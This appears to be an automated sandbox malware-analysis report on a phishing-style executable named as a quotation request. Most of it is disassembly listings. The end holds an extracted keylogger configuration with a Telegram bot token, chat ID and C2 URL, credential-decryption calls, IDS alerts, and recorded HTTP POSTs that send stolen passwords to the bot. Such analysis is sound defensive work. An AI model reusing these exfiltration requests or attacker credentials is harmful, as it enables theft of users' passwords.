Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
Opcode Fuzzy Hash: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Part of subcall function 00405665: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
Opcode Fuzzy Hash: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99

Function 00405108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405137
CallWindowProcW.USER32(?,?,?,?), ref: 00405188

Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D

Strings

, xrefs: 00405118

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69

Function 00405B85 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405BA3
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403358,00436000,00436800), ref: 00405BBE

Strings

nsa, xrefs: 00405B92

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64

Function 00405665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
CloseHandle.KERNEL32(?), ref: 00405697

Strings

Error launching installer, xrefs: 00405678

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D

Function 00406974 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00406B75 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44

Function 0040688B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44

Function 00406390 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44

Function 004067DE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54

Function 004068FC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44

Function 00406848 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44

Function 00405ABB Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

Source: 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU", "Telegram Chatid": "7382809095"}
Source: REQUEST FOR QUOATION AND PRICES.exe.7616.10.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendMessage"}

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDB4C0 CryptUnprotectData,		10_2_36DDB4C0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDBCBF CryptUnprotectData,		10_2_36DDBCBF

Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49863 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49830 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49852 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49844 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49883 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49903 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49894 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49951 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49962 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49925 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49935 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49968 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49913 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49875 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49943 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd13868a3c5d2eHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd13bb6da2d893Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd13e4e12a7243Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1412303aa220Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd143ddb19b669Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd147412cdacdfHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd14a1d614b40eHost: api.telegram.orgContent-Length: 1090
